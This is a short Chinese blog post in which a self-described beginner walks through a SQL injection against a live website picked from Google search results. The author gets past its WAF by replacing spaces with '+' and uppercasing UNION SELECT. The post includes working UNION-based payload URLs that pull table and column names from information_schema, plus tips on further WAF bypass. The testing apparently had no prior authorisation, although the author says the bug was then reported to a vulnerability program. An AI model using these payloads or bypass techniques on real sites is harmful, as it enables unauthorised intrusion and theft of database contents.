一次简单的SQL注入绕WAF

  • 2021 年 10 月 18 日
  • 筆記

本人也是小白一枚,大佬请绕过,这个其实是六月份的时候做的,那时候想多点实战经验,就直接用谷歌搜索找了一些网站,这个是其中一个

1、目标网站

 

2、发现有WAF防护

 

 

3、判断存在注入

 

 

 4、猜测了一下闭合为”,果真是”闭合,而且没有触发WAF,感觉还挺幸运的

 

 

 5、尝试使用 order by判断当前数据库的字段数为20,本来以为WAF会拦截,发现也没有拦截

 

 

 6、判断显示位,这次直接被拦截了

 

 

 7、绕WAF,通过使用(+)代替空格的方法绕过WAF的拦截,并大写UNION SELECT,判断出显错点为5和10

 

 

  8、查询数据库用户名和数据库名

 

 

 9、查询当前数据库表名,列名

查询表名 //www.****.com/product.php?sid=80&id=-218%27+UNION+SELECT+1,2,3,4,table_name,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20

+from+information_schema.tables+where+table_schema=database()+%23

 

 

 

查询列名 //www.****.com/product.php?sid=80&id=-218%27+UNION+SELECT+1,2,3,4,column_name,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20

+from+information_schema.columns+where+table_name=%27s1_ad1%27+limit+1,1%20+%23

 

 

 点到为止嘛没有继续下去了,然后直接交公益src了,其实显错点10也可以同显错点5一样的操作查询处库名表名列名到最后的字段内容,还可以用group_concat()这个函数查询出多个数据库名,不过试了一下WAF拦截了,可以尝试替换等价函数或者其他方法啊应该也是可以绕过WAF的,不行的话,也可以尝试用burp抓包跑出表名,列名,字段名